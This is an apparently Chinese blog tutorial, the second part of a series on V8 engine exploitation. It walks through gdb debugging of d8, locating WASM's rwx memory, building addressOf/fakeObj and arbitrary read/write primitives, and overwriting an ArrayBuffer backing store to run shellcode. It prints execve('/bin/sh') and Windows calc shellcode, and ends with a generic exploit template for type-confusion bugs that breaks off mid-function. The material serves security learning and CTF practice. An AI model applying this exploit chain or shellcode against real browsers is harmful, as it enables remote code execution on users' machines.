Posted Updated 35 minutes read (About 5253 words)0 visits

从0开始学V8漏洞利用之V8通用利用链（二）

经过一段时间的研究，先进行一波总结，不过因为刚开始研究没多久，也许有一些局限性，以后如果发现了，再来修正。

概述

我认为，在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目，大部分情况下，目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)。

在v8利用上，我觉得也有一个明确的目标，就是执行任意shellcode。当有了这个目标后，下一步就是思考，怎么写shellcode呢？那么就需要有写内存相关的洞，能写到可读可写可执行的内存段，最好是能任意地址写。配套的还需要有任意读，因为需要知道rwx内存段的地址。就算没有任意读，也需要有办法能把改地址泄漏出来（V8的binary保护基本是全开的）。接下来就是需要能控制RIP，能让RIP跳转到shellcode的内存段。

接下来将会根据该逻辑来反向总结一波v8的利用过程。

调试V8程序

在总结v8的利用之前，先简单说说v8的调试。

  1. 把该文件v8/tools/gdbinit，加入到~/.gdbinit中：
1
2
3
4
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
  1. 使用%DebugPrint(x);来输出变量x的相关信息
  2. 使用%SystemBreak();来抛出int3，以便让gdb进行调试

示例

1
2
3
4
$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();

如果直接使用d8运行，会报错：

1
2
3
4
5
$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'

因为正常情况下，js是没有%这种语法的，需要加入--allow-natives-syntax参数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
 - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3764081cc139 <JSArray[0]>
 - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x37640800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3764081d30d1 <FixedArray[1]> {
           0: 1
 }
0x376408203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3764080023b5 <undefined>
 - prototype_validity cell: 0x376408142405 <Cell value= 1>
 - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3764081cc139 <JSArray[0]>
 - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
 - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js

接下来试试使用gdb来调试该程序：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }
0x3a0c08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3a0c080023b5 <undefined>
 - prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
 - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
 - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

然后就能使用gdb命令来查看其内存布局了，另外在之前v8提供的gdbinit中，加入了一些辅助调试的命令，比如job，作用跟%DebufPrint差不多：

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }

不过使用job命令的时候，其地址要是其真实地址+1，也就是说，在上面的样例中，其真实地址为：0x3a0c08049684：

1
2
3
pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684:	0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694:	0x0000000000000000 0x0000000000000000

如果使用job命令，后面跟着的是其真实地址，会被解析成SMI（small integer）类型：

1
2
pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)

0x4024b42 * 2 == 0x8049684 (SMI只有32bit)

对d8进行简单的调试只要知道这么多就够了。

WASM

现如今的浏览器基本都支持WASM，v8会专门生成一段rwx内存供WASM使用，这就给了我们利用的机会。

我们来调试看看：

测试代码：

1
2
3
4
5
6
7
8
9
10
$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

然后使用gdb进行调试，在第一个断点的时候，使用vmmap来查看一下内存段，这个时候内存中是不存在可读可写可执行的内存断的，我们让程序继续运行。

在第二个断点的时候，我们再运行一次vmmap来查看内存段：

1
2
pwndbg> vmmap
0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]

因为WASM代码的创建，内存中出现可rwx的内存段。接下来的问题就是，我们怎么获取到改地址呢？

首先我们来看看变量f的信息：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
DebugPrint: 0x24c6081d3645: [Function] in OldSpace
 - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x24c6080051c5 <String[1]: #0>
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x24c6081c3649 <NativeContext[256]>
 - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - Wasm function index: 0
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x24c6080023b5 <undefined>
 - prototype_validity cell: 0x24c608142405 <Cell value= 1>
 - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - constructor: 0x24c608002235 <null>
 - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

可以发现这是一个函数对象，我们来查看一下f的shared_info结构的信息：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
 - map: 0x24c6080025f9 <Map[36]>
 - name: 0x24c6080051c5 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 185
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - script: 0x24c6081d3491 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x24c608002739 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>

接下里再查看其data结构：

1
2
3
4
5
6
7
8
9
10
11
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
 - map: 0x24c608002e7d <Map[44]>
 - target: 0x1aca69e92000
 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - function_index: 0
 - signature: 0x24c608049bd1 <Foreign>
 - wrapper_budget: 1000

在查看instance结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
 - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
 - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
 - native_context: 0x24c6081c3649 <NativeContext[256]>
 - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
 - table 0: 0x24c608049b69 <Table map = 0x24c608207551>
 - imported_function_refs: 0x24c60800222d <FixedArray[0]>
 - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
 - managed_native_allocations: 0x24c608049b21 <Foreign>
 - memory_start: 0x7f6e20000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x55a2eca392f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x55a2eca39310
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {}

仔细查看能发现，instance结构就是js代码中的wasmInstance变量的地址，在代码中我们加入了%DebugPrint(wasmInstance);，所以也会输出该结构的信息，可以去对照看看。

我们再来查看这个结构的内存布局：

1
2
3
4
5
6
7
8
pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508:	0x0800222d08207439 0x200000000800222d
0x24c6081d3518:	0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528:	0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538:	0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548:	0x0000000000000000 0x0000000000000000
0x24c6081d3558:	0x0000000000000000 0x000055a2eca39310
0x24c6081d3568:	0x000055a2eca14420 0x00001aca69e92000

仔细看，能发现，rwx段的起始地址储存在instance+0x68的位置，不过这个不用记，不同版本，这个偏移值可能会有差距，可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性，我们的目的可以更细化了，现在我们的目的变为了把shellcode写到WASM的代码段，然后执行WASM函数，那么就能执行shellcode了。

任意读写

最近我研究的几个V8的漏洞，任意读写都是使用的一个套路，目前我是觉得这个套路很通用的，感觉V8相关的利用都是用这类套路。（不过我学的时间短，这块的眼界也相对短浅，以后可能会遇到其他情况）

首先来看看JavaScript的两种类型的变量的结构：

1
2
3
4
5
6
7
8
$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

首先是变量a的结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DebugPrint: 0xe07080496d1: [JSArray]
 - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
 - map: 0x0e0708002a95 <Map>
 - length: 1
           0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0:	0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:	0x0800222d08207961 0x000000020800222d
0xe07080496f0:	0x0001000108005c31 0x080021f900000000
0xe0708049700:	0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0:	0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0:	0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:	0x0800222d08207961 0x000000020800222d
0xe07080496f0:	0x0001000108005c31 0x080021f900000000

变量a的结构如下：

1
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

因为在当前版本的v8中，对地址进行了压缩，因为高32bit地址的值是一样的，所以只需要保存低32bit的地址就行了。

elements结构保存了数组的值，结构为：

1
| 32 bit map addr | 32 bit length | value ......

变量a结构中的length，表示的是当前数组的已经使用的长度，elements表示该数组已经申请的长度，申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍，为啥这么设计，暂时还没了解。

仔细研究上面的内存布局，能发现，elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出，然后这样就可以读写其结构的map和length的值。

接下来在一起看看变量b和c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
变量c：
DebugPrint: 0xe0708049719: [JSArray]
 - map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e070804970d <FixedArray[1]> {
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
 }
变量b：
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
 - map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
 - elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
 - map: 0x0e0708002205 <Map>
 - length: 1
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718:	0x0800222d08203b31 0x000000020804970d
0xe0708049728:	0x0000000000000000 0x0000000000000000
0xe0708049738:	0x0000000000000000 0x0000000000000000
0xe0708049748:	0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c:	0x0000000208002205 0x08203b31080496e1
0xe070804971c:	0x0804970d0800222d 0x0000000000000002
0xe070804972c:	0x0000000000000000 0x0000000000000000
0xe070804973c:	0x0000000000000000 0x0000000000000000

变量c的结构和变量a的基本上是一样的，只是变量a储存的是double类型的变量，所以value都是64bit的，而变量c储存的是对象类型的变量，储存的是地址，也对地址进行了压缩，所以长度是32bit。

任意变量地址读

既然内存结构这么一致，那么使用a[0]或者c[0]取值的时候，js是怎么判断结构类型的呢？通过看代码，或者gdb实际测试都能发现，是根据变量结构的map值来确定的。

也就是说如果我把变量c的map地址改成变量a的，那么当我执行c[0]的时候，获取到的就是变量b的地址了。这样，就能达到任意变量地址读的效果，步骤如下：

  1. 把c[0]的值设置为你想获取地址的变量，比如c[0]=a;。
  2. 然后通过漏洞，把c的map地址修改成a的map地址。
  3. 读取c[0]的值，该值就为变量a的低32bit地址。

在本文说的套路中，上述步骤被封装为addressOf函数。

该逻辑还达不到任意地址读的效果，所以还需要继续研究。

double to object

既然我们可以把对象数组变为浮点型数组，那么是不是也可以把浮点型数组变为对象数组，步骤如下：

  1. 把a[0]的值设置为自己构造的某个对象的地址还需要加1。
  2. 然后通过漏洞，把a的map地址修改成c的map地址。
  3. 获取a[0]的值

这个过程可以封装为fakeObj函数。

任意读

这个时候我们构造这样一个变量：

1
2
3
4
var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

该变量的结构大致如下：

1
2
3
| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|

根据分析，理论上来说布局应该如上所示，但是会根据漏洞不通，导致堆布局不通，所以导致elements地址的不同，具体情况，可以写exp的时候根据通过调试来判断。

所以我可以使用addressOf获取fake_array地址：var fake_array_addr = addressOf(fake_array);。

计算得到fake_object_addr = fake_array_addr - 0x10n;，然后使用fakeObj函数，得到你构造的对象：var fake_object = fakeObj(fake_object_addr);

这个时候不要去查看fake_object的内容，因为其length字段和elements字段都被设置为了无效值(0x41414141)。

这个时候我们就能通过fake_array数组来达到任意读的目的了，下面就是一个通用的任意读函数read64：

1
2
3
4
5
function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

任意写

同理，也能构造出任意写write64：

1
2
3
4
5
function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

我们可以这么理解上述过程，fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组：a = [[1.1]]，而fake_array[1]值的内存区域属于fake_object对象的elements和length字段的位置，所以我们可以通过修改fake_array[1]的值，来控制fake_object，以达到任意读写的效果。

写shellcode

不过上述的任意写却没办法把我们的shellcode写到rwx区域，因为写入的地址=实际地址-0x8+0x1，前面还需要有8字节的map地址和length，而rwx区域根据我们调试的时候看到的内存布局，需要从该内存段的起始地址开始写，所以该地址-0x8+0x1是一个无效地址。

所以需要另辟蹊径，来看看下面的代码：

1
2
3
4
5
6
7
8
$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

首先看看data_buf变量的结构：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
 - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
 - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555c12bb9050
 - byte_length: 16
 - detachable
 - properties: 0x2ead0800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

再来看看backing_store字段的内存：

1
2
3
4
5
pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050:	0x4000000000000000 0x0000000000000000
0x555c12bb9060:	0x0000000000000000 0x0000000000000041
0x555c12bb9070:	0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080:	0x0000000000000010 0x00007ffd653318a8

double型的2.0以十六进制表示就是0x4000000000000000，所以可以看出data_buf变量的值存储在一段连续的内存区域中，通过backing_store指针指向该内存区域。

所以我们可以利用该类型，通过修改backing_store字段的值为rwx内存地址，来达到写shellcode的目的。

看看backing_store字段在data_buf变量结构中的位置：

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c:	0x0800222d08203271 0x000000100800222d
0x2ead0804971c:	0x0000000000000000 0x12bb905000000000
0x2ead0804972c:	0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c:	0x0000000000000000 0x0000000000000000
0x2ead0804974c:	0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c:	0x0000000000000000 0x0000000000000010
0x2ead0804976c:	0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c:	0x0000000000000000 0x0000000000000000

发现backing_store的地址属于data_buf + 0x1C，这个偏移在不同版本的v8中也是有一些区别的，所以写exp的时候，可以根据上面的步骤来进行计算。

根据上述的思路，我们可以写出copy_shellcode_to_rwx函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

利用

在linux环境下，我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode，就可以这样：

1
2
3
4
5
6
7
var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

如果想执行windows的弹计算器的shellcode，代码只需要改shellcode变量的值就好了，其他的就不用修改了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
var shellcode = [
	0xc0e8f0e48348fcn,
	0x5152504151410000n,
	0x528b4865d2314856n,
	0x528b4818528b4860n,
	0xb70f4850728b4820n,
	0xc03148c9314d4a4an,
	0x41202c027c613cacn,
	0xede2c101410dc9c1n,
	0x8b20528b48514152n,
	0x88808bd001483c42n,
	0x6774c08548000000n,
	0x4418488b50d00148n,
	0x56e3d0014920408bn,
	0x4888348b41c9ff48n,
	0xc03148c9314dd601n,
	0xc101410dc9c141acn,
	0x244c034cf175e038n,
	0x4458d875d1394508n,
	0x4166d0014924408bn,
	0x491c408b44480c8bn,
	0x14888048b41d001n,
	0x5a595e58415841d0n,
	0x83485a4159415841n,
	0x4158e0ff524120ecn,
	0xff57e9128b485a59n,
	0x1ba485dffffn,
	0x8d8d480000000000n,
	0x8b31ba4100000101n,
	0xa2b5f0bbd5ff876fn,
	0xff9dbd95a6ba4156n,
	0x7c063c28c48348d5n,
	0x47bb0575e0fb800an,
	0x894159006a6f7213n,
	0x2e636c6163d5ffdan,
	0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其他

在上面的示例代码中，出现了几个没说明的函数，以下是这几个函数的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function d2u(v) {
  f64[0] = v;
  return u32;
}

因为在上述思路中，都是使用浮点型数组，其值为浮点型，但是浮点型的值我们看着不顺眼，设置值我们也是习惯使用十六进制值。所以需要有ftoi和itof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中，有压缩高32bit地址的特性，所以还需要u2d和d2u两个，把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数，就是方便我们查看值：

1
2
3
4
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

总结

目前在我看来，不说所有v8的漏洞，但是所有类型混淆类的漏洞都能使用同一套模板：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
